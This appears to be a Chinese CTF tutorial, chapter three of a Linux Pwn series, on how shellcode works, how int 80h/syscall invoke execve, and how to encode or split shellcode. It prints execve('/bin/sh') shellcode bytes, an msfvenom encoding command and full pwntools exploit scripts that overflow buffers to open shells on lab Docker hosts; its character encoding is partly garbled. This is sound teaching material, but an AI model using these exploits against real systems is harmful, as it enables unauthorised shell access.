这是一套Linux Pwn入门教程系列,做者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程。html
课程回顾>>python
本系列教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,全部环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。数据库
今天是Linux Pwn入门教程第三章:ShellCode的使用、原理与变形,本文篇幅较长,但愿你们耐心看完,阅读用时约15分钟。架构
ShellCode的使用app
在上一篇文章中咱们学习了怎么使用栈溢出劫持程序的执行流程。为了减小难度,演示和做业题程序里都带有很明显的后门。然而在现实世界里并非每一个程序都有后门,即便是有,也没有那么好找。所以,咱们就须要使用定制的ShellCode来执行本身须要的操做。ide
首先咱们把演示程序~/Openctf 2016-tyro_shellcode1/tyro_shellcode1复制到32位的Docker环境中并开启调试器进行调试分析。须要注意的是,因为程序带了一个很简单的反调试,在调试过程当中可能会弹出以下窗口:函数
此时点OK,在弹出的Exception handling窗口中选择No(discard)丢弃掉SIGALRM信号便可。工具
与上一篇教程不一样的是,此次的程序并不存在栈溢出。从F5的结果上看程序使用read函数读取的输入甚至都不在栈上,而是在一片使用mmap分配出来的内存空间上。
经过调试,咱们能够发现程序其实是读取咱们的输入,而且使用call指令执行咱们的输入。也就是说咱们的输入会被当成汇编代码被执行。
显然,咱们这里随便输入的“12345678”有点问题,继续执行的话会出错。不过,当程序会把咱们的输入当成指令执行,ShellCode就有用武之地了。
首先咱们须要去找一个ShellCode,咱们但愿ShellCode能够打开一个Shell以便于远程控制只对咱们暴露了一个10001端口的Docker环境,并且ShellCode的大小不能超过传递给read函数的参数,即0x20=32。咱们经过著名的shell-storm.org的ShellCode数据库shell-storm.org/shellcode/找到了一段符合条件的ShellCode。
21个字节的执行sh的ShellCode,点开一看里面还有代码和介绍。咱们先无论这些介绍,把ShellCode取出来。
使用Pwntools库把ShellCode做为输入传递给程序,尝试使用io.interactive( )与程序进行交互,发现能够执行shell命令。
固然,shell-storm上还有能够执行其余功能如关机,进程炸弹,读取/etc/passwd等的ShellCode,你们也能够试一下。总而言之,ShellCode是一段能够执行特定功能的神秘代码。那么ShellCode是怎么被编写出来,又是怎么执行指定操做的呢?咱们继续来深挖下去。
ShellCode的原理
此次咱们直接断点下在call eax上,而后F7跟进。
能够看到咱们的输入变成了以下汇编指令:
咱们能够选择Options->General,把Number of opcode bytes (non-graph)的值调大。
会发现每条汇编指令都对应着长短不一的一串16进制数。
对汇编有必定了解的读者应该知道,这些16进制数串叫作opcode。opcode是由最多6个域组成的,和汇编指令存在对应关系的机器码。或者说能够认为汇编指令是opcode的“别名”。易于人类阅读的汇编语言指令,如xor ecx, ecx等,实际上就是被汇编器根据opcode与汇编指令的替换规则替换成16进制数串,再与其余数据通过组合处理,最后变成01字符串被CPU识别并执行的。
固然,IDA之类的反汇编器也是使用替换规则将16进制串处理成汇编代码的。因此咱们能够直接构造合法的16进制串组成的opcode串,即ShellCode,使系统得以识别并执行,完成咱们想要的功能。关于opcode六个域的组成及其余深刻知识此处再也不赘述,感兴趣的读者能够在Intel官网获取开发者手册或其余地方查阅资料进行了解并尝试查表阅读机器码或者手写ShellCode。
系统调用
咱们继续执行这段代码,能够发现EAX, EBX, ECX, EDX四个寄存器被前后清零,EAX被赋值为0Xb,ECX入栈,“/bin//sh”字符串入栈,并将其首地址赋给了EBX,最后执行完int 80h,IDA弹出了一个warning窗口显示got SIGTRAP signal。
点击OK,继续F8或者F9执行,选择Yes(pass to app) ,而后在python中执行io.interactive( )进行手动交互,随便输入一个shell命令如ls,在IDA窗口中再次按F9,弹出另外一个捕获信号的窗口。
一样OK后继续执行,选择Yes(pass to app),发现python窗口中的shell命令被成功执行。
那么问题来了,咱们这段ShellCode里面并无system这个函数,是谁实现了“system("/bin/sh")”的效果呢?事实上,经过刚刚的调试你们应该能猜到是陌生的int 80h指令。查阅intel开发者手册咱们能够知道int指令的功能是调用系统中断,因此int 80h就是调用128号中断。在32位的linux系统中,该中断被用于呼叫系统调用程序system_call( ),咱们知道出于对硬件和操做系统内核的保护,应用程序的代码通常在保护模式下运行。
在这个模式下咱们使用的程序和写的代码是没办法访问内核空间的。可是咱们显然能够经过调用read( ), write( )之类的函数从键盘读取输入,把输出保存在硬盘里的文件中。那么read( ), write( )之类的函数是怎么突破保护模式的管制,成功访问到本该由内核管理的这些硬件呢?
答案就在于int 80h这个中断调用。不一样的内核态操做经过给寄存器设置不一样的值,再调用一样的指令int 80h,就能够通知内核完成不一样的功能。而read( ), write( ), system( )之类的须要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不一样的功能。
知道了int 80h的具体做用以后,咱们接着去查表看一下如何使用int 80h实现system("/bin/sh")。经过http://syscalls.kernelgrok.com/,咱们没找到system,可是找到了这个:
对比咱们使用的ShellCode中的寄存器值,很容易发现ShellCode中的EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0,即执行了sys_execve("/bin//sh", 0, 0, 0),经过/bin/sh软连接打开一个shell,因此咱们能够在没有system函数的状况下打开shell。须要注意的是,随着平台和架构的不一样,呼叫系统调用的指令,调用号和传参方式也不尽相同,例如64位linux系统的汇编指令就是syscall,调用sys_execve须要将EAX设置为0x3B,放置参数的寄存器也和32位不一样。
ShellCode的变形
在不少状况下,咱们多试几个ShellCode,总能找到符合能用的。可是在有些状况下,为了成功将ShellCode写入被攻击的程序的内存空间中,咱们须要对原有的ShellCode进行修改变形以免ShellCode中混杂有\x00, \x0A等特殊字符,或是绕过其余限制。有时候甚至须要本身写一段ShellCode。咱们经过两个例子分别学习一下如何使用工具和手工对ShellCode进行变形。
首先咱们分析例子~/BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff.从F5的结果上看,咱们很容易知道这个程序会将咱们的输入进行base64编码后做为汇编指令执行(注意存放base64编码后结果的字符串指针ShellCode在return 0的前一行被类型强转为函数指针并调用)
虽然程序直接给了咱们执行任意代码的机会,可是base64编码的限制要求咱们的输入必须只由0-9,a-z,A-Z,+,/这些字符组成,然而咱们以前用来开shell的ShellCode
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"显然含有大量的非base64编码字符,甚至包含了大量的不可见字符。所以,咱们就须要对其进行编码。
在不改变ShellCode功能的状况下对其进行编码是一个繁杂的工做,所以咱们首先考虑使用工具。事实上,pwntools库中自带了一个encode类用来对ShellCode进行一些简单的编码,可是目前encode类的功能较弱,彷佛没法避开太多字符,所以咱们须要用到另外一个工具msfVENOM。因为kali中自带了metasploit,使用kali的读者能够直接使用。
首先咱们查看一下msfvenom的帮助选项:
显然,咱们须要先执行msfvenom -l encoders挑选一个编码器
图中的x86/alpha_mixed能够将shellcode编码成大小写混合的代码,符合咱们的条件。因此咱们配置命令参数以下:python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
咱们须要本身输入ShellCode,但msfvenom只能从stdin中读取,因此使用linux管道操做符“|”,把ShellCode做为python程序的输出,从python的stdout传送到msfvenom的stdin。此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。最后,因为在b-64-b-tuff中是经过指令call eax调用shellcode的
因此配置BufferRegister=EAX。最后输出的payload内容为:
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA
编写脚本以下:
#!/usr/bin/python #coding:utf-8 from pwn import * from base64 import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.2', 10001) shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA") print io.recv() io.send(shellcode) print io.recv() io.interactive()
成功获取shell
工具虽然好用,但也不是万能的。有的时候咱们能够成功写入ShellCode,可是ShellCode在执行前甚至执行时却会被破坏。当破坏难以免时,咱们就须要手工拆分ShellCode,而且编写代码把两段分开的ShellCode再“连”到一块儿。好比例子~/CSAW Quals CTF 2017-pilot/pilot
这个程序的逻辑一样很简单,程序的main函数中存在一个栈溢出。
使用Pwntools自带的检查脚本checksec检查程序,发现程序存在着RWX段(同linux的文件属性同样,对于分页管理的现代操做系统的内存页来讲,每一页也一样具备可读(R),可写(W),可执行(X)三种属性。只有在某个内存页具备可读可执行属性时,上面的数据才能被当作汇编指令执行,不然将会出错)
调试运行后发现这个RWX段其实就是栈,且程序还泄露出了buf所在的栈地址。
因此咱们的任务只剩下找到一段合适的ShellCode,利用栈溢出劫持RIP到ShellCode上执行。因此咱们写了如下脚本:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location:") #读取到"Location:",紧接着就是泄露出来的栈地址 shellcode_address_at_stack = int(io.recv()[0:14], 16) #将泄露出来的栈地址从字符串转换成数字 log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode #拼接shellcode payload += "\x90"*(0x28-len(shellcode)) #任意字符填充到栈中保存的RIP处,此处选用了空指令NOP,即\x90做为填充字符 payload += p64(shellcode_address_at_stack) #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcode io.send(payload) io.interactive()
可是执行时却发现程序崩溃了。
很显然,咱们的脚本出现了问题。咱们直接把断点下载main函数的retn处,跟进到ShellCode看看发生了什么:
从这四张图和ShellCode的内容咱们能够看出,因为ShellCode执行过程当中的push,最后一部分会在执行完push rdi以后被覆盖从而致使ShellCode失效。所以咱们要选一个更短的ShellCode,或者就对其进行改造。鉴于ShellCode很差找,咱们仍是选择改造。
首先咱们会发如今ShellCode执行过程当中只有返回地址和上面的24个字节会被push进栈的寄存器值修改,而栈溢出最多能够向栈中写0x40=64个字节。结合对这个题目的分析可知在返回地址以后还有16个字节的空间可写。根据这四张图显示出来的结果,push rdi执行后下一条指令就会被修改,所以咱们能够考虑把ShellCode在push rax和push rdi之间分拆成两段,此时push rdi以后的ShellCode片断为8个字节,小于16字节,能够容纳。
接下来咱们须要考虑怎么把这两段代码连在一块儿执行。咱们知道,能够打破汇编代码执行的连续性的指令就那么几种,call,ret和跳转。前两条指令都会影响到寄存器和栈的状态,所以咱们只能选择使用跳转中的无条件跳转jmp,咱们能够去查阅前面提到过的Intel开发者手册或其余资料找到jmp对应的字节码,不过幸运的是这个程序中就带了一条。
从图中能够看出jmp short locret_400B34的字节码是EB 05。显然,jmp短跳转(事实上jmp的跳转有好几种)的字节码是EB。至于为何距离是05而不是0x34-0x2D=0x07,是由于距离是从jmp的下一条指令开始计算的。所以,咱们以此类推可得咱们的两段ShellCode之间跳转距离应为0x18,因此添加在第一段ShellCode后面的字节为\xeb\x18,添加两个字节也恰好避免第一段ShellCode的内容被rdi的值覆盖。因此正确的脚本以下:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) #shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #原始的shellcode。因为shellcode位于栈上,运行到push rdi时栈顶正好到了\x89\xe6\xb0\x3b\x0f\x05处,rdi的值会覆盖掉这部分shellcode,从而致使执行失败,因此须要对其进行拆分 #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax #push rdi #mov rsi, rsp #mov al, 0x3b #syscall shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50" #第一部分shellcode,长度较短,避免尾部被push rdi污染 #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax shellcode1 += "\xeb\x18" #使用一个跳转跳过被push rid污染的数据,接上第二部分shellcode继续执行 #jmp short $+18h shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #第二部分shellcode #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location:") #读取到"Location:",紧接着就是泄露出来的栈地址 shellcode_address_at_stack = int(io.recv()[0:14], 16) #将泄露出来的栈地址从字符串转换成数字 log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode1 #拼接第一段shellcode payload += "\x90"*(0x28-len(shellcode1)) #任意字符填充到栈中保存的RIP处,此处选用了空指令NOP,即\x90做为填充字符 payload += p64(shellcode_address_at_stack) #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcode payload += shellcode2 #拼接第二段shellcode io.send(payload) io.interactive()
以上是今天的内容,你们看懂了吗?后面咱们将持续更新Linux Pwn入门教程的相关章节,但愿你们及时关注。